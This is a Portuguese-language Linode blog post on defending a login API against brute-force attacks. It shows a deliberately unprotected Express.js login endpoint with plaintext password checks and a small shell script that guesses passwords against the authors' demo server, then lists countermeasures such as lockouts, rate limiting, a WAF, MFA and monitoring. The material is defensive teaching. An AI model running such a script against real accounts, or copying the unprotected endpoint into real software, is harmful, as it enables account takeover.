Avançar para o conteúdo principal
BlogueComputaçãoComo se defender de um ataque de força bruta à API de login

Defesa contra um ataque de força bruta à API de login

Um símbolo de bloco vermelho com o seguinte texto: "Defender-se contra um ataque de força bruta à API de início de sessão: Porque cortar nos cantos pode prejudicá-lo"

Sejamos realistas, quando estamos a correr para cumprir o prazo de um grande lançamento, cortamos caminho. Sua cobertura de testes fica irregular, seu código não é tão DRY, e seu tratamento de exceções é enviado para o cemitério de dívidas tecnológicas - quero dizer, backlog. Todos nós já passamos por isso.

Mas quando chegar a altura de cortar nos cantos, não deixe de implementar a proteção "tentativa máxima de início de sessão falhada". Se a sua API de início de sessão não tiver salvaguardas adequadas, obter acesso a uma conta de utilizador através de força bruta é relativamente fácil de conseguir hoje em dia.

Neste post, mostraremos como um invasor pode usar força bruta em uma API de login. Em seguida, discutiremos as contramedidas que pode implementar para defender os seus sistemas.

Um exemplo de API de início de sessão

Para demonstrar, criámos um servidor de API muito básico utilizando Node.js e Express. Ele escuta solicitações POST para um único ponto de extremidade, /login. Espera-se que o corpo do pedido tenha um username e um password. Quando as credenciais são fornecidas com êxito, a API devolve 200 OK. Caso contrário, devolve 401 UNAUTHORIZED.

Aqui está o código para o nosso servidor Express simples:

const express = require('express');
const users = require('./users.json');

const app = express();
const PORT = 3000;

// Middleware to parse JSON bodies
app.use(express.json());

app.post('/login', (req, res) => {
    const { username, password } = req.body;

    // Check if the username exists and the password matches
    if (users[username] && users[username] === password) {
        return res.status(200).send('OK');
    } else {
        return res.status(401).send('UNAUTHORIZED');
    }
});

// Start the server
app.listen(PORT, () => {
    console.log(`Server is listening on port ${PORT}`);
});

Para esta demonstração simples, guardamos a lista de nomes de utilizador e palavras-passe num ficheiro chamado users.json.

Nós implantamos nosso servidor em um Linode, escutando na porta 3000. Vamos experimentar um pedido:

~$ curl -i \        -X POST \        --header "Content-type:application/json" \        --data '{"username":"user08","password":"testpassword"}' \         172.233.153.34:3000/login

HTTP/1.1 401 UnauthorizedX-Powered-By: ExpressContent-Type: text/html; charset=utf-8Content-Length: 12ETag: W/"c-MvHJP5yPj49I/9tX+wGrvHWbTRk"Date: Sat, 25 May 2024 19:17:34 GMTConnection: keep-aliveKeep-Alive: timeout=5
UNAUTHORIZED

A nossa API de início de sessão está a funcionar!

Agora, se quiséssemos fazer força bruta na nossa API, poderíamos escrever um script como este:

#!/bin/sh

API_ENDPOINT="http://172.233.153.34:3000/login"

USERNAME="user5"

echo "Attempting to login at $API_ENDPOINT as \"$USERNAME\""

for i in {1..8}
do
  PASS="password${i}"
  RESULT=$(curl --silent -X POST --header "Content-type:application/json" --data "{\"username\":\"$USERNAME\",\"password\":\"$PASS\"}" $API_ENDPOINT)
  echo "\"$PASS\": $RESULT"

  if [[ $RESULT == 'OK' ]]; then
    echo "!!! Password for \"$USERNAME\" found: \"$PASS\""
    break
  else
    sleep 1
  fi
done

Quando executamos o nosso script rudimentar de força bruta, o resultado é o seguinte:

$ source bruteforce.sh
Attempting to login at http://172.233.153.34:3000/login as "user5"
"password1": UNAUTHORIZED
"password2": UNAUTHORIZED
"password3": UNAUTHORIZED
"password4": UNAUTHORIZED
"password5": OK
!!! Password for user5 found: "password5"

Um atacante pode realmente adivinhar uma palavra-passe?

Então, vimos como é fácil escrever um script que pode, pelo menos, percorrer algumas palavras-passe para um dado nome de utilizador. Pode dizer-se: "Ok, é um exemplo interessante e forçado. Mas será que um atacante consegue mesmo adivinhar uma palavra-passe?"

Aqui está uma lista das 10.000 palavras-passe mais comuns. É um bom começo para qualquer atacante. Pense nisso: já alguma vez se deparou com alguém que utiliza "password123" ou "qwerty"? Até pode ser você!

Se um atacante conhecesse alguns nomes de utilizador do seu sistema e executasse um script para percorrer estas palavras-passe comuns, poderia obter um resultado.

Com cada tentativa permitida de combinação de nome de utilizador e palavra-passe, as hipóteses de violação de uma conta aumentam.

Este é um caso clássico de autenticação quebrada, que está em segundo lugar no OWASP Top 10 API Security Risks. Se a sua aplicação não estiver devidamente protegida contra ataques automatizados, está a pedir problemas. Sem salvaguardas, as contas dos seus utilizadores correm um risco significativo.

As palavras-passe são frequentemente o elo mais fraco na segurança de um sistema:

  • Os utilizadores reutilizam as palavras-passe em vários sítios.
  • Os utilizadores escolhem palavras-passe fáceis de memorizar (e fáceis de adivinhar).
  • Os utilizadores raramente actualizam as suas palavras-passe.

Todos estes factores tornam os ataques de força bruta assustadoramente eficazes.

Voltemos então à nossa pergunta: Um atacante pode realmente adivinhar uma palavra-passe? Claro que sim. E se não tomar as devidas precauções, isso pode acontecer mais cedo do que pensa.

Como é que protejo a minha API?

Existem várias formas de se defender contra um ataque de força bruta à sua API de início de sessão.

Estabelecer um número máximo de tentativas falhadas de início de sessão

Defina um limite para o número de tentativas de início de sessão falhadas que permitirá a cada utilizador. À medida que as tentativas de início de sessão de um utilizador ocorrem, mantenha uma contagem contínua das falhas de início de sessão. Se atingir esse limite, bloqueie temporariamente a conta ou bloqueie os pedidos subsequentes do endereço IP do remetente. Desta forma, é muito mais difícil para um intruso entrar com força bruta.

Utilizar uma firewall de aplicação web (WAF)

Um WAF pode ajudar a proteger a sua API, detectando e bloqueando actividades maliciosas.

  • Atividade de bots: Um bom WAF consegue distinguir entre utilizadores legítimos e bots, bloqueando ataques automatizados de força bruta.
  • Pedidos de login suspeitos por trás do Tor: Muitos atacantes utilizam a rede Tor para ocultar a sua identidade. Bloquear ou desafiar pedidos de nós Tor pode reduzir o risco de ataques.

O Haltdos, que é um WAF disponível no Linode Marketplace, oferece essas proteções e muito mais. Ao integrar estas ferramentas, pode reforçar significativamente as defesas da sua API.

Implementar a limitação da taxa

Limitar o número de pedidos de API de um único endereço IP num determinado período de tempo. Isso diminui a velocidade dos ataques de força bruta e os torna menos viáveis. A limitação de taxa é uma boa prática para todas as suas APIs e pontos de extremidade, não apenas para a API de login.

Ativar a autenticação multi-fator (MFA)

Se adicionar uma camada extra de segurança, como a MFA, pode impedir ataques de força bruta mesmo quando o atacante adivinha a palavra-passe corretamente. Passar com êxito por todo o fluxo de autenticação requer algo que o utilizador sabe (palavra-passe) e algo que tem (um telemóvel ou um token de hardware).

Monitorizar e analisar tentativas de início de sessão

Configure uma solução de monitorização de pedidos de API para vigiar as tentativas de início de sessão. Procure padrões que possam indicar um ataque. Isto pode ajudá-lo a responder rapidamente a actividades suspeitas.

A implementação destas medidas pode ajudar a proteger a sua API de ataques de força bruta e a manter as contas dos seus utilizadores seguras.

Conclusão

Proteger a sua API de início de sessão contra ataques de força bruta é crucial. Adivinhar uma palavra-passe não é tão difícil como se pensa, e automatizar as adivinhações é uma brincadeira de crianças. O seu sistema é vulnerável? Abordámos várias coisas que pode fazer para reforçar os seus sistemas. Estes passos irão melhorar significativamente a sua postura de segurança.

Na pressa frenética de criar as suas aplicações e APIs, perdoamos-lhe se cortar nos cantos aqui e ali. Toda a gente o faz. Mas não deixe sua API de login desprotegida! Não espere até que um ataque aconteça - tome medidas agora para proteger o seu sistema e os seus utilizadores. Para orientações mais detalhadas sobre logging e monitorização do sistema, consulte os documentos da Linode. Se planeia utilizar Apache para servir as suas aplicações, pode consultar este guia sobre a configuração do mod_evasive para ajudar o seu servidor a sobreviver a ataques DoS/DDoS.

Cuidado!

Comentários

Deixe uma resposta

O seu endereço de correio electrónico não será publicado. Os campos obrigatórios estão marcados com *